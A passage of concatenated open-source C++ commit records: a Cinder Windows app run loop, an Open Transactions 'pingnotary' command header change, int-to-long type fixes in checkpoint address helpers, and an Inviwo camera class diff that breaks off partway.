}
void AppImplMswBasic::run()
{
mFrameRate = mApp->getSettings().getFrameRate();
mFrameRateEnabled = mApp->getSettings().isFrameRateEnabled();
auto formats = mApp->getSettings().getWindowFormats();
if( formats.empty() )
formats.push_back( mApp->getSettings().getDefaultWindowFormat() );
for( auto format = formats.begin(); format != formats.end(); ++format ) {
if( ! format->isTitleSpecified() )
format->setTitle( mApp->getSettings().getTitle() );
createWindow( *format );
}
mApp->privateSetup__();
mSetupHasBeenCalled = true;
// issue initial app activation event
mApp->emitDidBecomeActive();
for( auto windowIt = mWindows.begin(); windowIt != mWindows.end(); ++windowIt )
(*windowIt)->resize();
// initialize our next frame time
mNextFrameTime = getElapsedSeconds();
// inner loop
while( ! mShouldQuit ) {
// update and draw
mApp->privateUpdate__();
for( auto windowIt = mWindows.begin(); windowIt != mWindows.end(); ++windowIt )
(*windowIt)->redraw();
// get current time in seconds
double currentSeconds = mApp->getElapsedSeconds();
// calculate time per frame in seconds
double secondsPerFrame = 1.0 / mFrameRate;
// determine if application was frozen for a while and adjust next frame time
double elapsedSeconds = currentSeconds - mNextFrameTime;
if( elapsedSeconds > 1.0 ) {
int numSkipFrames = (int)(elapsedSeconds / secondsPerFrame);
mNextFrameTime += (numSkipFrames * secondsPerFrame);
}
// determine when next frame should be drawn
mNextFrameTime += secondsPerFrame;
// sleep and process messages until next frame
if( ( mFrameRateEnabled ) && ( mNextFrameTime > currentSeconds ) )
sleep(mNextFrameTime - currentSeconds);
else {
MSG msg;
while( ::PeekMessage( &msg, NULL, 0, 0, PM_REMOVE ) ) {
::TranslateMessage( &msg );
::DispatchMessage( &msg );
}
}
}
// killWindow( mFullScreen );
mApp->emitShutdown();
delete mApp;
}
void AppImplMswBasic::sleep( double seconds )
{
// create waitable timer
static HANDLE timer = ::CreateWaitableTimer( NULL, FALSE, NULL );
// specify relative wait time in units of 100 nanoseconds
LARGE_INTEGER waitTime;
waitTime.QuadPart = (LONGLONG)(seconds * -10000000);
if(waitTime.QuadPart >= 0) return;
// activate waitable timer
if ( !::SetWaitableTimer( timer, &waitTime, 0, NULL, NULL, FALSE ) )
return;
// handle events until specified time has elapsed
DWORD result;
MSG msg;
while( ! mShouldQuit ) {
result = ::MsgWaitForMultipleObjects( 1, &timer, false, INFINITE, QS_ALLINPUT );
if( result == (WAIT_OBJECT_0 + 1) ) {
// execute messages as soon as they arrive
while( ::PeekMessage( &msg, NULL, 0, 0, PM_REMOVE ) ) {
::TranslateMessage( &msg );
::DispatchMessage( &msg );
}
// resume waiting
}
else return; // time has elapsed
}
}
WindowRef AppImplMswBasic::createWindow( Window::Format format )
{
if( ! format.getRenderer() )
format.setRenderer( mApp->getDefaultRenderer()->clone() );
mWindows.push_back( new WindowImplMswBasic( format, mApp->findSharedRenderer( format.getRenderer() ), this ) );
// emit initial resize if we have fired setup
if( mSetupHasBeenCalled )
mWindows.back()->getWindow()->emitResize();
return mWindows.back()->getWindow();
}
void AppImplMswBasic::closeWindow( WindowImplMsw *windowImpl )
{
auto winIt = find( mWindows.begin(), mWindows.end(), windowImpl );
if( winIt != mWindows.end() ) {
windowImpl->getWindow()->emitClose();
windowImpl->privateClose();
delete windowImpl; // this corresponds to winIt
mWindows.erase( winIt );
}
if( mWindows.empty() && mApp->getSettings().isQuitOnLastWindowCloseEnabled() )
mShouldQuit = true;
}
size_t AppImplMswBasic::getNumWindows() const
{
return mWindows.size();
}
WindowRef AppImplMswBasic::getWindowIndex( size_t index )
{
if( index >= mWindows.size() )
return cinder::app::WindowRef();
std::list<WindowImplMswBasic*>::iterator iter = mWindows.begin();
std::advance( iter, index );
return (*iter)->mWindowRef;
}
WindowRef AppImplMswBasic::getForegroundWindow() const
{
return mForegroundWindow;
}
void AppImplMswBasic::setForegroundWindow( WindowRef window )
{
mForegroundWindow = window;
}
// This creates a full-screen blanking (all black) Window on each display besides 'fullScreenDisplay'
void AppImplMswBasic::setupBlankingWindows( DisplayRef fullScreenDisplay )
{
destroyBlankingWindows();
for( auto displayIt = Display::getDisplays().begin(); displayIt != Display::getDisplays().end(); ++displayIt ) {
if( *displayIt == fullScreenDisplay )
continue;
mBlankingWindows.push_back( BlankingWindowRef( new BlankingWindow( *displayIt ) ) );
}
}
void AppImplMswBasic::destroyBlankingWindows()
{
for( auto winIt = mBlankingWindows.begin(); winIt != mBlankingWindows.end(); ++winIt )
(*winIt)->destroy();
mBlankingWindows.clear();
}
float AppImplMswBasic::setFrameRate( float aFrameRate )
{
mFrameRate = aFrameRate;
mFrameRateEnabled = true;
mNextFrameTime = mApp->getElapsedSeconds();
return aFrameRate;
}
void AppImplMswBasic::disableFrameRate()
{
mFrameRateEnabled = false;
}
bool AppImplMswBasic::isFrameRateEnabled() const
{
return mFrameRateEnabled;
}
///////////////////////////////////////////////////////////////////////////////
// WindowImplMswBasic
void WindowImplMswBasic::toggleFullScreen( const app::FullScreenOptions &options )
{
// if we were full-screen, destroy our blanking windows
if( mFullScreen )
mAppImplBasic->destroyBlankingWindows();
WindowImplMsw::toggleFullScreen( options );
// if we've entered full-screen, setup our blanking windows if necessary
if( options.isSecondaryDisplayBlankingEnabled() && mFullScreen )
mAppImplBasic->setupBlankingWindows( getDisplay() );
}
} } // namespace cinder::app<|endoftext|>
|
<commit_before>/************************************************************
*
* OPEN TRANSACTIONS
*
* Financial Cryptography and Digital Cash
* Library, Protocol, API, Server, CLI, GUI
*
* -- Anonymous Numbered Accounts.
* -- Untraceable Digital Cash.
* -- Triple-Signed Receipts.
* -- Cheques, Vouchers, Transfers, Inboxes.
* -- Basket Currencies, Markets, Payment Plans.
* -- Signed, XML, Ricardian-style Contracts.
* -- Scripted smart contracts.
*
* EMAIL:
* fellowtraveler@opentransactions.org
*
* WEBSITE:
* http://www.opentransactions.org/
*
* -----------------------------------------------------
*
* LICENSE:
* This Source Code Form is subject to the terms of the
* Mozilla Public License, v. 2.0. If a copy of the MPL
* was not distributed with this file, You can obtain one
* at http://mozilla.org/MPL/2.0/.
*
* DISCLAIMER:
* This program is distributed in the hope that it will
* be useful, but WITHOUT ANY WARRANTY; without even the
* implied warranty of MERCHANTABILITY or FITNESS FOR A
* PARTICULAR PURPOSE. See the Mozilla Public License
* for more details.
*
************************************************************/
#include "CmdPingNotary.hpp"
#include "CmdBase.hpp"
#include <opentxs/core/Version.hpp>
#include <opentxs/api/Api.hpp>
#include <opentxs/api/OT.hpp>
#include <opentxs/client/MadeEasy.hpp>
#include <stdint.h>
#include <string>
using namespace opentxs;
using namespace std;
CmdPingNotary::CmdPingNotary()
{
command = "pingnotary";
args[0] = "--server <server>";
args[1] = "--mynym <nym>";
category = catMisc;
help = "See if a notary is responsive.";
}
CmdPingNotary::~CmdPingNotary()
{
}
int32_t CmdPingNotary::runWithOptions()
{
return run(getOption("server"), getOption("mynym"));
}
int32_t CmdPingNotary::run(string server, string mynym)
{
if (!checkServer("server", server)) {
return -1;
}
if (!checkNym("mynym", mynym)) {
return -1;
}
string response = OT::App().API().ME().ping_notary(server, mynym);
return processResponse(response, "ping notary");
}
<commit_msg>update pingnotary<commit_after>/************************************************************
*
* OPEN TRANSACTIONS
*
* Financial Cryptography and Digital Cash
* Library, Protocol, API, Server, CLI, GUI
*
* -- Anonymous Numbered Accounts.
* -- Untraceable Digital Cash.
* -- Triple-Signed Receipts.
* -- Cheques, Vouchers, Transfers, Inboxes.
* -- Basket Currencies, Markets, Payment Plans.
* -- Signed, XML, Ricardian-style Contracts.
* -- Scripted smart contracts.
*
* EMAIL:
* fellowtraveler@opentransactions.org
*
* WEBSITE:
* http://www.opentransactions.org/
*
* -----------------------------------------------------
*
* LICENSE:
* This Source Code Form is subject to the terms of the
* Mozilla Public License, v. 2.0. If a copy of the MPL
* was not distributed with this file, You can obtain one
* at http://mozilla.org/MPL/2.0/.
*
* DISCLAIMER:
* This program is distributed in the hope that it will
* be useful, but WITHOUT ANY WARRANTY; without even the
* implied warranty of MERCHANTABILITY or FITNESS FOR A
* PARTICULAR PURPOSE. See the Mozilla Public License
* for more details.
*
************************************************************/
#include "CmdPingNotary.hpp"
#include "CmdBase.hpp"
#include <opentxs/core/Version.hpp>
#include <opentxs/api/Api.hpp>
#include <opentxs/api/OT.hpp>
#include <opentxs/client/OT_ME.hpp>
#include <stdint.h>
#include <string>
using namespace opentxs;
using namespace std;
CmdPingNotary::CmdPingNotary()
{
command = "pingnotary";
args[0] = "--server <server>";
args[1] = "--mynym <nym>";
category = catMisc;
help = "See if a notary is responsive.";
}
CmdPingNotary::~CmdPingNotary()
{
}
int32_t CmdPingNotary::runWithOptions()
{
return run(getOption("server"), getOption("mynym"));
}
int32_t CmdPingNotary::run(string server, string mynym)
{
if (!checkServer("server", server)) {
return -1;
}
if (!checkNym("mynym", mynym)) {
return -1;
}
string response = OT::App().API().OTME().ping_notary(server, mynym);
return processResponse(response, "ping notary");
}
<|endoftext|>
|
<commit_before>#include "image.h"
#if defined(NULL)
#undef NULL // sys/param defines this
#endif
#include <sys/param.h>
#include <sys/vmparam.h>
/*
Return starting address of the data segment
*/
extern int __data_start;
int
data_start_addr()
{
return USRDATA;
}
/*
Return ending address of the data segment
*/
int
data_end_addr()
{
return (int)sbrk(0);
}
/*
Return TRUE if the stack grows toward lower addresses, and FALSE
otherwise.
*/
int StackGrowsDown()
{
return 1;
}
/*
Return the index into the jmp_buf where the stack pointer is stored.
Expect that the jmp_buf will be viewed as an array of integers for
this.
*/
int JmpBufSP_Index()
{
return 32;
}
/*
Return starting address of stack segment.
*/
int
stack_start_addr()
{
jmp_buf env;
(void)SETJMP( env );
return JMP_BUF_SP(env) & ~1023; // Curr sp, rounded down
}
/*
Return ending address of stack segment.
*/
int
stack_end_addr()
{
return USRSTACK;
}
/*
Patch any registers whose vaules should be different at restart
time than they were at checkpoint time.
*/
void
patch_registers( void *generic_ptr )
{
// nothing needed
}
<commit_msg>Minor type adjustment.<commit_after>#include "image.h"
#if defined(NULL)
#undef NULL // sys/param defines this
#endif
#include <sys/param.h>
#include <sys/vmparam.h>
/*
Return starting address of the data segment
*/
long
data_start_addr()
{
return USRDATA;
}
/*
Return ending address of the data segment
*/
long
data_end_addr()
{
return (long)sbrk(0);
}
/*
Return TRUE if the stack grows toward lower addresses, and FALSE
otherwise.
*/
BOOL StackGrowsDown()
{
return TRUE;
}
/*
Return the index into the jmp_buf where the stack pointer is stored.
Expect that the jmp_buf will be viewed as an array of integers for
this.
*/
int JmpBufSP_Index()
{
return 32;
}
/*
Return starting address of stack segment.
*/
long
stack_start_addr()
{
jmp_buf env;
(void)SETJMP( env );
return JMP_BUF_SP(env) & ~1023; // Curr sp, rounded down
}
/*
Return ending address of stack segment.
*/
long
stack_end_addr()
{
return USRSTACK;
}
/*
Patch any registers whose vaules should be different at restart
time than they were at checkpoint time.
*/
void
patch_registers( void *generic_ptr )
{
// nothing needed
}
<|endoftext|>
|
<commit_before>/*********************************************************************************
*
* Inviwo - Interactive Visualization Workshop
*
* Copyright (c) 2012-2020 Inviwo Foundation
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*********************************************************************************/
#include <inviwo/core/datastructures/camera.h>
#include <inviwo/core/properties/compositeproperty.h>
#include <inviwo/core/properties/ordinalproperty.h>
#include <inviwo/core/io/serialization/serialization.h>
namespace inviwo {
Camera::Camera(vec3 lookFrom, vec3 lookTo, vec3 lookUp, float nearPlane, float farPlane)
: lookFrom_(lookFrom)
, lookTo_(lookTo)
, lookUp_(lookUp)
, nearPlaneDist_(nearPlane)
, farPlaneDist_(farPlane)
, invalidViewMatrix_(true)
, invalidProjectionMatrix_(true) {}
const mat4& Camera::getViewMatrix() const {
if (invalidViewMatrix_) {
viewMatrix_ = calculateViewMatrix();
inverseViewMatrix_ = glm::inverse(viewMatrix_);
invalidViewMatrix_ = false;
}
return viewMatrix_;
}
mat4 Camera::calculateViewMatrix() const { return glm::lookAt(lookFrom_, lookTo_, lookUp_); }
const mat4& Camera::getProjectionMatrix() const {
if (invalidProjectionMatrix_) {
projectionMatrix_ = calculateProjectionMatrix();
inverseProjectionMatrix_ = glm::inverse(projectionMatrix_);
invalidProjectionMatrix_ = false;
}
return projectionMatrix_;
}
const mat4& Camera::getInverseViewMatrix() const {
if (invalidViewMatrix_) getViewMatrix();
return inverseViewMatrix_;
}
const mat4& Camera::getInverseProjectionMatrix() const {
if (invalidProjectionMatrix_) getProjectionMatrix();
return inverseProjectionMatrix_;
}
vec3 Camera::getWorldPosFromNormalizedDeviceCoords(const vec3& ndcCoords) const {
vec4 clipCoords = getClipPosFromNormalizedDeviceCoords(ndcCoords);
vec4 eyeCoords = getInverseProjectionMatrix() * clipCoords;
vec4 worldCoords = getInverseViewMatrix() * eyeCoords;
worldCoords /= worldCoords.w;
return vec3(worldCoords);
}
vec4 Camera::getClipPosFromNormalizedDeviceCoords(const vec3& ndcCoords) const {
const auto& projection = getProjectionMatrix();
const float clipW = projection[2][3] / (ndcCoords.z - (projection[2][2] / projection[3][2]));
return vec4(ndcCoords * clipW, clipW);
}
vec3 Camera::getNormalizedDeviceFromNormalizedScreenAtFocusPointDepth(
const vec2& normalizedScreenCoord) const {
// Default to using focus point for depth
vec4 lookToClipCoord = getProjectionMatrix() * getViewMatrix() * vec4(getLookTo(), 1.f);
return vec3(2.f * normalizedScreenCoord - 1.f, lookToClipCoord.z / lookToClipCoord.w);
}
void Camera::serialize(Serializer& s) const {
s.serialize("lookFrom", lookFrom_);
s.serialize("lookTo", lookTo_);
s.serialize("lookUp", lookUp_);
s.serialize("nearPlaneDist", nearPlaneDist_);
s.serialize("farPlaneDist", farPlaneDist_);
}
void Camera::deserialize(Deserializer& d) {
d.deserialize("lookFrom", lookFrom_);
d.deserialize("lookTo", lookTo_);
d.deserialize("lookUp", lookUp_);
d.deserialize("nearPlaneDist", nearPlaneDist_);
d.deserialize("farPlaneDist", farPlaneDist_);
invalidProjectionMatrix_ = true;
invalidViewMatrix_ = true;
}
bool Camera::equalTo(const Camera& other) const {
return !(glm::any(glm::notEqual(lookFrom_, other.lookFrom_)) |
glm::any(glm::notEqual(lookTo_, other.lookTo_)) |
(nearPlaneDist_ != other.nearPlaneDist_) | (farPlaneDist_ != other.farPlaneDist_));
}
PerspectiveCamera::PerspectiveCamera(vec3 lookFrom, vec3 lookTo, vec3 lookUp, float nearPlane,
float farPlane, float fieldOfView, float aspectRatio)
: Camera(lookFrom, lookTo, lookUp, nearPlane, farPlane)
, fovy_(fieldOfView)
, aspectRatio_(aspectRatio) {}
PerspectiveCamera::PerspectiveCamera(const PerspectiveCamera& other)
: Camera(other), fovy_{other.fovy_}, aspectRatio_{other.aspectRatio_} {}
PerspectiveCamera& PerspectiveCamera::operator=(const PerspectiveCamera& other) {
if (this != &other) {
Camera::operator=(other);
fovy_ = other.fovy_;
aspectRatio_ = other.aspectRatio_;
}
return *this;
}
PerspectiveCamera* PerspectiveCamera::clone() const { return new PerspectiveCamera(*this); }
bool PerspectiveCamera::update(const Camera* source) {
if (auto perspectiveCamera = dynamic_cast<const PerspectiveCamera*>(source)) {
*this = *perspectiveCamera;
return true;
} else {
return false;
}
}
void PerspectiveCamera::configureProperties(CompositeProperty* comp, Config config) {
auto fovProp = dynamic_cast<FloatProperty*>(comp->getPropertyByIdentifier("fov"));
if (config == Config::Hide) {
if (fovProp) fovProp->setVisible(false);
return;
}
if (fovProp) {
setFovy(fovProp->get());
} else {
float initialFov = 38.0f;
if (auto widthProp = dynamic_cast<FloatProperty*>(comp->getPropertyByIdentifier("width"))) {
initialFov = glm::degrees(2.0f * std::atan(widthProp->get() / 2.0f /
glm::distance(getLookTo(), getLookFrom())));
}
fovProp = new FloatProperty("fov", "FOV", initialFov, 10.0f, 180.0f, 0.1f);
fovProp->setSerializationMode(PropertySerializationMode::All);
fovProp->setCurrentStateAsDefault();
comp->insertProperty(comp->size() - 1, fovProp, true);
}
fovProp->setVisible(true);
fovCallbackHolder_ = fovProp->onChangeScoped([this, fovProp]() { setFovy(fovProp->get()); });
}
bool operator==(const PerspectiveCamera& lhs, const PerspectiveCamera& rhs) {
return lhs.equalTo(rhs) && lhs.fovy_ == rhs.fovy_ && lhs.aspectRatio_ == rhs.aspectRatio_;
}
bool operator!=(const PerspectiveCamera& lhs, const PerspectiveCamera& rhs) {
return !(lhs == rhs);
}
void PerspectiveCamera::serialize(Serializer& s) const {
Camera::serialize(s);
s.serialize("fovy", fovy_);
s.serialize("aspectRatio", aspectRatio_);
}
void PerspectiveCamera::deserialize(Deserializer& d) {
d.deserialize("fovy", fovy_);
d.deserialize("aspectRatio", aspectRatio_);
Camera::deserialize(d);
}
OrthographicCamera::OrthographicCamera(vec3 lookFrom, vec3 lookTo, vec3 lookUp, float nearPlane,
float farPlane, float width, float aspectRatio)
: Camera(lookFrom, lookTo, lookUp, nearPlane, farPlane)
, aspectRatio_{aspectRatio}
, width_{width} {}
OrthographicCamera::OrthographicCamera(const OrthographicCamera& other)
: Camera(other), aspectRatio_{other.aspectRatio_}, width_{other.width_} {}
OrthographicCamera& OrthographicCamera::operator=(const OrthographicCamera& other) {
if (this != &other) {
Camera::operator=(other);
aspectRatio_ = other.aspectRatio_;
width_ = other.width_;
}
return *this;
}
OrthographicCamera* OrthographicCamera::clone() const { return new OrthographicCamera(*this); }
bool OrthographicCamera::update(const Camera* source) {
if (auto orthographicCamera = dynamic_cast<const OrthographicCamera*>(source)) {
*this = *orthographicCamera;
return true;
} else {
return false;
}
}
void OrthographicCamera::configureProperties(CompositeProperty* comp, Config config) {
auto widthProp = dynamic_cast<FloatProperty*>(comp->getPropertyByIdentifier("width"));
if (config == Config::Hide) {
if (widthProp) widthProp->setVisible(false);
return;
}
if (widthProp) {
setWidth(widthProp->get());
} else {
float initialWidth = 10.0f;
if (auto fovProp = dynamic_cast<FloatProperty*>(comp->getPropertyByIdentifier("fov"))) {
initialWidth = glm::distance(getLookTo(), getLookFrom()) *
std::tan(0.5f * glm::radians(fovProp->get()));
}
widthProp = new FloatProperty("width", "Width", 10.0f, 0.01f, 1000.0f, 0.1f);
comp->insertProperty(comp->size() - 1, widthProp, true);
widthProp->setSerializationMode(PropertySerializationMode::All);
}
widthProp->setVisible(true);
widthCallbackHolder_ =
widthProp->onChangeScoped([this, widthProp]() { setWidth(widthProp->get()); });
}
bool operator==(const OrthographicCamera& lhs, const OrthographicCamera& rhs) {
return lhs.equalTo(rhs) && lhs.width_ == rhs.width_;
}
bool operator!=(const OrthographicCamera& lhs, const OrthographicCamera& rhs) {
return !(rhs == lhs);
}
mat4 OrthographicCamera::calculateProjectionMatrix() const {
const float halfWidth = 0.5f * width_;
const float halfHeight = halfWidth / aspectRatio_;
return glm::ortho(-halfWidth, +halfWidth, -halfHeight, +halfHeight, nearPlaneDist_,
farPlaneDist_);
}
vec4 OrthographicCamera::getClipPosFromNormalizedDeviceCoords(const vec3& ndcCoords) const {
return vec4{ndcCoords, 1.0f};
}
void OrthographicCamera::serialize(Serializer& s) const {
Camera::serialize(s);
s.serialize("aspectRatio", aspectRatio_);
s.serialize("width", width_);
}
void OrthographicCamera::deserialize(Deserializer& d) {
d.deserialize("aspectRatio", aspectRatio_);
d.deserialize("width", width_);
Camera::deserialize(d);
}
SkewedPerspectiveCamera::SkewedPerspectiveCamera(vec3 lookFrom, vec3 lookTo, vec3 lookUp,
float nearPlane, float farPlane, float fieldOfView,
float aspectRatio, vec2 offset)
: Camera(lookFrom, lookTo, lookUp, nearPlane, farPlane)
, fovy_(fieldOfView)
, aspectRatio_(aspectRatio)
, offset_(offset) {}
SkewedPerspectiveCamera::SkewedPerspectiveCamera(const SkewedPerspectiveCamera& other)
: Camera(other), fovy_{other.fovy_}, aspectRatio_{other.aspectRatio_}, offset_{other.offset_} {}
SkewedPerspectiveCamera& SkewedPerspectiveCamera::operator=(const SkewedPerspectiveCamera& other) {
if (this != &other) {
Camera::operator=(other);
fovy_ = other.fovy_;
aspectRatio_ = other.aspectRatio_;
offset_ = other.offset_;
}
return *this;
}
SkewedPerspectiveCamera* SkewedPerspectiveCamera::clone() const {
return new SkewedPerspectiveCamera(*this);
}
bool SkewedPerspectiveCamera::update(const Camera* source) {
if (auto skewedPerspectiveCamera = dynamic_cast<const SkewedPerspectiveCamera*>(source)) {
*this = *skewedPerspectiveCamera;
return true;
} else {
return false;
}
}
void SkewedPerspectiveCamera::configureProperties(CompositeProperty* comp, Config config) {
auto fovProp = dynamic_cast<FloatProperty*>(comp->getPropertyByIdentifier("fov"));
auto offsetProp = dynamic_cast<FloatVec2Property*>(comp->getPropertyByIdentifier("separation"));
if (config == Config::Hide) {
if (fovProp) fovProp->setVisible(false);
if (offsetProp) offsetProp->setVisible(false);
return;
}
if (fovProp) {
setFovy(fovProp->get());
} else {
float initialFov = 38.0f;
if (auto widthProp = dynamic_cast<FloatProperty*>(comp->getPropertyByIdentifier("width"))) {
initialFov = glm::degrees(2.0f * std::atan(widthProp->get() / 2.0f /
glm::distance(getLookTo(), getLookFrom())));
}
fovProp = new FloatProperty("fov", "FOV", initialFov, 10.0f, 180.0f, 0.1f);
fovProp->setSerializationMode(PropertySerializationMode::All);
fovProp->setCurrentStateAsDefault();
comp->insertProperty(comp->size() - 1, fovProp, true);
}
fovProp->setVisible(true);
fovCallbackHolder_ = fovProp->onChangeScoped([this, fovProp]() { setFovy(fovProp->get()); });
if (offsetProp) {
setOffset(offsetProp->get());
} else {
offsetProp = new FloatVec2Property("separation", "Separation", vec2(0.0f), vec2(-10.0f),
vec2(10.0f), vec2(0.01f));
offsetProp->setSerializationMode(PropertySerializationMode::All);
offsetProp->setCurrentStateAsDefault();
comp->insertProperty(comp->size() - 1, offsetProp, true);
}
offsetProp->setVisible(true);
offsetCallbackHolder_ =
offsetProp->onChangeScoped([this, offsetProp]() { setOffset(offsetProp->get()); });
}
bool operator==(const SkewedPerspectiveCamera& lhs, const SkewedPerspectiveCamera& rhs) {
return lhs.equalTo(rhs) && lhs.fovy_ == rhs.fovy_ && lhs.aspectRatio_ == rhs.aspectRatio_ &&
glm::all(glm::equal(lhs.offset_, rhs.offset_));
}
bool operator!=(const SkewedPerspectiveCamera& lhs, const SkewedPerspectiveCamera& rhs) {
return !(lhs == rhs);
}
mat4 SkewedPerspectiveCamera::calculateViewMatrix() const {
const vec3 xoffset{offset_.x * glm::normalize(glm::cross(lookTo_ - lookFrom_, lookUp_))};
const vec3 yoffset{offset_.y * lookUp_};
return glm::lookAt(lookFrom_ + xoffset + yoffset, lookTo_ + xoffset + yoffset, lookUp_);
}
mat4 SkewedPerspectiveCamera::calculateProjectionMatrix() const {
const float halfHeight = nearPlaneDist_ * std::tan(0.5f * glm::radians(fovy_));
const float halfWidth = halfHeight * aspectRatio_;
const float scale = nearPlaneDist_ / glm::distance(lookTo_, lookFrom_);
// Move the frustum in the opposite direction as the lookFrom.
const float left = -halfWidth - offset_.x * scale;
const float right = +halfWidth - offset_.x * scale;
const float bottom = -halfHeight - offset_.y * scale;
const float top = +halfHeight - offset_.y * scale;
return glm::frustum(left, right, bottom, top, nearPlaneDist_, farPlaneDist_);
}
void SkewedPerspectiveCamera::serialize(Serializer& s) const {
Camera::serialize(s);
s.serialize("fovy", fovy_);
s.serialize("aspectRatio", aspectRatio_);
s.serialize("offset", offset_);
}
void SkewedPerspectiveCamera::deserialize(Deserializer& d) {
d.deserialize("fovy", fovy_);
d.deserialize("aspectRatio", aspectRatio_);
d.deserialize("offset", offset_);
Camera::deserialize(d);
}
} // namespace inviwo
<commit_msg>fixed unused warning<commit_after>/*********************************************************************************
*
* Inviwo - Interactive Visualization Workshop
*
* Copyright (c) 2012-2020 Inviwo Foundation
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*********************************************************************************/
#include <inviwo/core/datastructures/camera.h>
#include <inviwo/core/properties/compositeproperty.h>
#include <inviwo/core/properties/ordinalproperty.h>
#include <inviwo/core/io/serialization/serialization.h>
namespace inviwo {
Camera::Camera(vec3 lookFrom, vec3 lookTo, vec3 lookUp, float nearPlane, float farPlane)
: lookFrom_(lookFrom)
, lookTo_(lookTo)
, lookUp_(lookUp)
, nearPlaneDist_(nearPlane)
, farPlaneDist_(farPlane)
, invalidViewMatrix_(true)
, invalidProjectionMatrix_(true) {}
const mat4& Camera::getViewMatrix() const {
if (invalidViewMatrix_) {
viewMatrix_ = calculateViewMatrix();
inverseViewMatrix_ = glm::inverse(viewMatrix_);
invalidViewMatrix_ = false;
}
return viewMatrix_;
}
mat4 Camera::calculateViewMatrix() const { return glm::lookAt(lookFrom_, lookTo_, lookUp_); }
const mat4& Camera::getProjectionMatrix() const {
if (invalidProjectionMatrix_) {
projectionMatrix_ = calculateProjectionMatrix();
inverseProjectionMatrix_ = glm::inverse(projectionMatrix_);
invalidProjectionMatrix_ = false;
}
return projectionMatrix_;
}
const mat4& Camera::getInverseViewMatrix() const {
if (invalidViewMatrix_) getViewMatrix();
return inverseViewMatrix_;
}
const mat4& Camera::getInverseProjectionMatrix() const {
if (invalidProjectionMatrix_) getProjectionMatrix();
return inverseProjectionMatrix_;
}
vec3 Camera::getWorldPosFromNormalizedDeviceCoords(const vec3& ndcCoords) const {
vec4 clipCoords = getClipPosFromNormalizedDeviceCoords(ndcCoords);
vec4 eyeCoords = getInverseProjectionMatrix() * clipCoords;
vec4 worldCoords = getInverseViewMatrix() * eyeCoords;
worldCoords /= worldCoords.w;
return vec3(worldCoords);
}
vec4 Camera::getClipPosFromNormalizedDeviceCoords(const vec3& ndcCoords) const {
const auto& projection = getProjectionMatrix();
const float clipW = projection[2][3] / (ndcCoords.z - (projection[2][2] / projection[3][2]));
return vec4(ndcCoords * clipW, clipW);
}
vec3 Camera::getNormalizedDeviceFromNormalizedScreenAtFocusPointDepth(
const vec2& normalizedScreenCoord) const {
// Default to using focus point for depth
vec4 lookToClipCoord = getProjectionMatrix() * getViewMatrix() * vec4(getLookTo(), 1.f);
return vec3(2.f * normalizedScreenCoord - 1.f, lookToClipCoord.z / lookToClipCoord.w);
}
void Camera::serialize(Serializer& s) const {
s.serialize("lookFrom", lookFrom_);
s.serialize("lookTo", lookTo_);
s.serialize("lookUp", lookUp_);
s.serialize("nearPlaneDist", nearPlaneDist_);
s.serialize("farPlaneDist", farPlaneDist_);
}
void Camera::deserialize(Deserializer& d) {
d.deserialize("lookFrom", lookFrom_);
d.deserialize("lookTo", lookTo_);
d.deserialize("lookUp", lookUp_);
d.deserialize("nearPlaneDist", nearPlaneDist_);
d.deserialize("farPlaneDist", farPlaneDist_);
invalidProjectionMatrix_ = true;
invalidViewMatrix_ = true;
}
bool Camera::equalTo(const Camera& other) const {
return !(glm::any(glm::notEqual(lookFrom_, other.lookFrom_)) |
glm::any(glm::notEqual(lookTo_, other.lookTo_)) |
(nearPlaneDist_ != other.nearPlaneDist_) | (farPlaneDist_ != other.farPlaneDist_));
}
PerspectiveCamera::PerspectiveCamera(vec3 lookFrom, vec3 lookTo, vec3 lookUp, float nearPlane,
float farPlane, float fieldOfView, float aspectRatio)
: Camera(lookFrom, lookTo, lookUp, nearPlane, farPlane)
, fovy_(fieldOfView)
